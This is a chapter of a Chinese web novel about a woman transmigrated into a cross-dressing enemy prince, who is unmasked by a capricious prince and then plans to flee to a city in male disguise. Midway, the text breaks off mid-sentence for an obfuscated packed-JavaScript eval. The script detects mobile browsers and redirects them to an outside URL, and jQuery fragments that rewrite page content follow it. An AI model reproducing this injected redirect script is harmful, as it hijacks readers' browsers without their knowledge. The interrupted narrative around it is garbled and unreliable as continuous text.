默认冷灰
24号文字
方正启体

2. 都是演员

作者:流连云水本书字数:K更新时间:
    宋始昭被粗暴地从灌木丛中拖出来。


    身上的衣衫单薄,被强行拖曳着向前时摩擦出火辣辣的痛感。一时间,天旋地转,眼冒金星,当膝盖重重磕在地上,碰撞产生的尖锐疼痛更让她冷汗直流。


    法治社会长大,哪见过这阵仗?


    宋始昭耳中嗡嗡作响,甚至听不清那酒糟鼻的质问。


    “你是何人?!”


    长发猛地被人攥住,她的脸被迫仰起,眼角因痛立刻盈出生理性的泪花。


    这反应立刻叫这群久经沙场的人发觉,这是个女人!那酒槽鼻上的力道小下来,说话气势都弱了三分:“……怎么是个女娃儿!”


    拜这疼痛所赐,宋始昭清醒几分。


    眼角余光处,那名为沈棹之的近卫正从灌木丛中走出,手中拿着的正是那把划破自己脸颊的长刃,这令她确定,刚刚不发一言、直接动手的就是这个人。而能驱使这个人这样做的——


    正是面前饶有兴味地盯着自己的俊俏公子。


    ……但这家伙,绝对是个脑子不正常的疯子。毕竟,狗随主人。


    宋始昭暗暗揣摩这疯子的想法,努力让自己的声音变得颤抖:“我……各位爷,我只是听到这里有动静就……”


    伪装成平民是现在最稳妥的方法,她庆幸自己脱下了那身盔甲,只留下内里的袍服,要不然此刻就是百口莫辩。


    ……等等,袍服?!


    宋始昭呼吸一窒,她竟忘了这层!原主身份尊崇,自然衣物也不是凡品,这衣衫做工精致,根本不可能是寻常百姓家能拥有之物!


    对方显然也察觉到她话里的纰漏,一声质疑立时在不远处如惊雷般响起:


    “那么,你这身衣物又该如何解释?”


    “而且,你一个女子为何要穿男人的衣衫?”


    听声音,竟是那书生。


    宋始昭心脏快要跳出嗓子眼,靠……怎么办?


    跑?不可能,这几人的武艺明显高出自己数倍;而且,只要一跑,直接就坐实了自己的嫌疑!


    那么……有没有一个合理解释?


    电光火石间,宋始昭念头一闪,有了对策。她登时抖如筛糠:


    “各位……各位爷,战事吃紧,夫君从军……就再没回来过,我一个妇人……实在活不下去了,才、才敢从那些死人身上拿点东西……”


    此话一出,众人脸色均一变。


    在这个兵荒马乱的年头,百姓因连年战乱而流离失所,挣扎求存之际,往往做些不得已的勾当维持生计。


    那酒槽鼻显然信了,他松开手,半是惊奇半是感叹:“从死人身上拿点东西?你这女人倒是胆大!”


    得亏看过红楼梦,知道焦大是怎么进宁国府的……


    宋始昭心中一喜,只是脸上却扯出一个难看的恭维笑容,她手上动作,摸出身上仅剩的值钱物品——一枚只剩半块的精美玉佩。这是原身母亲给予魏蘅的保命之物,说危急时刻可能会有大用,为此她才一直保存。


    她便颤巍巍地递过去:“这个,要不……各位爷你们拿去罢……”


    众人面面相觑,一时竟有些尴尬。这女人看来是真把他们当成占山为王的山匪了。


    沉默的空隙里,那年轻侍卫咳了一声:“你收回去吧。”


    宋始昭面上一喜,但这喜悦又很快收起,她神色激动地说了好几声谢谢各位爷。


    众人对她不再怀疑,沈棹之更是往前一步,就要将她从地上拉起。


    就在这时,那一直一言不发的戏精皇子却蓦地开口,说出的话又将气氛降至冰点:


    “虽然你蓬头垢面的,但瞧这身形……啧啧,该是个大美人呐~”


    “哎呀,说起美人,棹之,那敌国太子似乎也是个……远近闻名的‘美人’吧?”


    对方的表情温情脉脉的,给人一种错觉,仿佛他接下去要说的话里尽是天真的想象:“应该不会是,故意装成女子吧?”


    语气尽管不确定,但宋始昭却读懂了对方眼神里传递出的信息——他确信她就是个男人。


    宋始昭心里一沉,正欲装傻反问,但那浪荡子却不听她辩驳,语气轻佻又危险:“不过,也没所谓,验一验不就知道了么。”


    话音未落,他就拔出沈棹之悬于腰间的剑,直直抵了过来。


    动弹不得。


    因为,这人眼神危险,表情玩味,她知道,如果她动了,那么将必死无疑。所以,她只能仍由那兵器带着冰凉的寒意和不容置疑的强硬,一点一点拨开她的衣领。


    肩膀渐渐显露一隅,一截吊带陡然出现。这一刻,对方的动作终于停了下来。


    一瞬间,周围的空气安静得可怕。酒槽鼻目瞪口呆,沈棹之和那书生在震惊之余则立刻偏过头。


    而当事人宋始昭,在短暂愣怔过后,一种巨大的被羞辱感立刻涌了上来,她眼角发红,浑身控制不住地颤抖,只能死死地咬住嘴唇,才能将那些情绪咽下去。


    这一次不再是故作的心机,而是实打实的愤怒与委屈。


    很快,那柄剑消失在她视线之中。


    ——


    宋始昭从噩梦中惊醒,剧烈地喘了几口气。


    这已是从那疯批手中逃脱的第三天,她仍时不时会魇进去。心有余悸的同时也深感一股焦虑自心底而生。


    宋始昭知道,这里不比现代,所有的一切都是这样原始而残酷,来自上位者的倾轧更是致命。这样的认知让她愈发想要破局。


    她不是一个坐以待毙之人。很多时候,她喜欢主动出击,抓住一切机会。


    她从树下站起,往脸上又抹了几把灰土,之后便拿起锈钝的砍刀砍向荆条。


    这是座魏国、兴国与鄂罕部三国交界的小村落,原身魏蘅便是想从这里逃离至鄂罕部再从长计议。只是谢玄石似是预料到了他们的想法,候在这里来了个请君入瓮……


    宋始昭对这件事仍有些疑虑。从魏蘅的记忆来看,谢玄石虽有无双的武技及军事能力,但并不擅长奇谋,那么能有如此料事如神的见地细想下来便有些蹊跷。但是信息太少,她也想不出理所当然。而且,眼下显然也不是思虑这件事情的时候。她看着已经被勒出深深红痕的掌心嘴角泛起苦笑。


    自顾锦幽那处逃离后,她辗转之下幸得一位盲婆婆的收留,才不至于流落荒野。


    婆婆姓陈,无名,一个月前在兴国与魏国最后战役打响之际,并没有像村中大部分人一起逃命去,而是选择留在这里,等候她那参军后一直杳无音讯的儿子归家。


    宋始昭听得心酸,便主动提出帮忙的想法。只是理想是丰满的,现实却是残酷的……她握了握掌心,一股难以言喻的沮丧爬上她的心头。


    她心里清楚,原主身份太过敏感特殊,这里绝非久留之地,但是古往今来,要生存就需要钱,而她,狗都不学文科生一个,要技能没技能,要手艺没手艺,除了当老师之外真是没什么出路。


    ……等等,老师?


    宋始昭眼睛一亮,停下手上动作,琢磨起这个念头。原身饱读诗书,一手毛笔字更是写得极好,之前也听陈婆婆提过,东边二十里外的丰城颇为繁华,那么,她或许能做抄书先生做起……


    但……哪有女人干这活的?而且,一个有学识的女人可太引人注目了。


    宋始昭自嘲地想,穿越前多难搞的学员都能轻松拿捏,现在居然被性别这件事给难住了……她苦恼了一会,没思索出对策后只得又干了会活,等到背篓装满,才缓缓走下山。


    陈婆婆的家在村落最深处,宋始昭走近时,猛地发现情况不太对!


    ——那低矮破败的小屋前正立着一人,而他周身则横躺着数名男子,他们形容狼狈,口中更是呻吟不断。


    宋始昭心里一沉,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125634|196055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    由加快脚步。等跑近,她发现立着的那人竟是那顾锦幽的近侍,沈棹之。


    那面容清俊的侍卫见到她后竟也不惊讶,只是微微作揖:“夫人,上次的事多有得罪。”


    宋始昭心头疑窦丛生,表面却不动声色,她满身戒备地走到陈婆婆身边。老人显然是受了极大的惊吓,听到她的声音后脸上的惊恐减少一些,摸索着攥紧了她的手。


    宋始昭沉声开口:“沈公子,这到底……?”


    沈棹之的目光冷冽地扫过地上那几人:“这些人皆是流民,方才竟想打劫婆婆。”


    从陈婆婆依旧颤抖的手中宋始昭确定了这件事的真实性,她颔首道:“多谢你。”


    沈棹之摇了摇头,眼神陡然又变得锐利起来,他看向地上那几人,喝道:“滚!再让我看到你们在这一带徘徊,绝不轻饶!”说着,还亮了一把凉薄的剑身。


    那几个流民如蒙大赦,立刻连滚带爬地起身,转瞬间便消失在了山路尽头。


    随后,沈棹之转过身,解下腰间系着的一个锦袋,递到宋始昭面前。


    宋始昭下意识地往后缩了缩肩膀,不敢去接。


    沈棹之见状,无奈地叹了口气,低声道:“夫人,我家爷他,不是你想得那般……”


    他似乎还想说些什么,可话到嘴边,又咽了回去,只说:“总之,他让我暗中跟着,护你周全。如今我们将要离开此地,这是他让我交给你的赔礼。”


    宋始昭虽然内心不愿,但为了不让对方起疑,迅速在脸上露出怯懦与感激交织的神色,而后伸出手接过了那个锦袋。


    ——


    夕阳西沉。


    宋始昭坐在床头,小心翼翼地拆开了那个锦袋。袋中并无他物,只有几锭沉甸甸的碎银。她捏着那碎银,心里有了几分了然及雀跃。


    想来那顾锦幽差遣沈棹之,大概也不单单只是为了赔礼道歉。宋始昭不想细想,很多时候,点到为止才是聪明人的处世之道。她不由庆幸即便是这几日里也没有忘记做点伪装。而且,他们要走,那么也就意味着对她的追捕将会放松很多。


    得亏原身实则是个女子,是在女扮男装……


    宋始昭眼睛一亮,刚刚还在为“女子身份不便谋生”的事情而苦恼,但是现在,解法不就在眼前么?


    要说扮成男子,那原身可太有话语权了……


    宋始昭目光流转,心里立刻有了主意,她小心翼翼地从床底翻出那件差点惹来杀身之祸的贵重衣物,把它塞入行囊中。而后又取出锦袋中的一些碎银,包起来放到衣柜里。


    她看着衣柜中婆婆儿子的旧衣物,心里默念,对不住,婆婆,要是有办法,我也不想这样,这些碎银就当是我的借用费吧。


    出发的日子定在三天之后,把自己要去丰城谋生的想法告知陈婆婆时,虽然不抱希望,但她还是问了句,是否想跟随她一起去往丰城。


    老人果然如她所想,沉默片刻,最终还是摇了摇头。已换好男子装束的宋始昭并没有多劝,她知道,当一个人内心有执念时便会将生死置之度外。所以到最后,宋始昭只是又从锦袋中拿出一些碎银,偷偷塞到衣柜之中。


    出发那天,婆婆为她准备了最后一顿饭菜。


    吃完饭,宋始昭强压下离别愁绪和对前路的忐忑,起身拜别。只是,命运的齿轮在这时发出一声清脆的咬合声。她刚掀开门帘,一阵清晰的马蹄声,突然由远及近,停在了院门外。


    宋始昭下意识地绷紧身体,警惕看向院外。


    院外有几人正跨马而下。


    领头那人四方脸,虽不苟言笑,举止却十分文雅得体,这让宋始昭戒备少了几分。等走到她的面前,对方主动作揖开口道:“公子,打扰了,请问……”说着,他从怀中掏出了一件物什,举到宋始昭面前。


    宋始昭定睛一看,那竟是同她手中相似的,另外半块玉佩!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)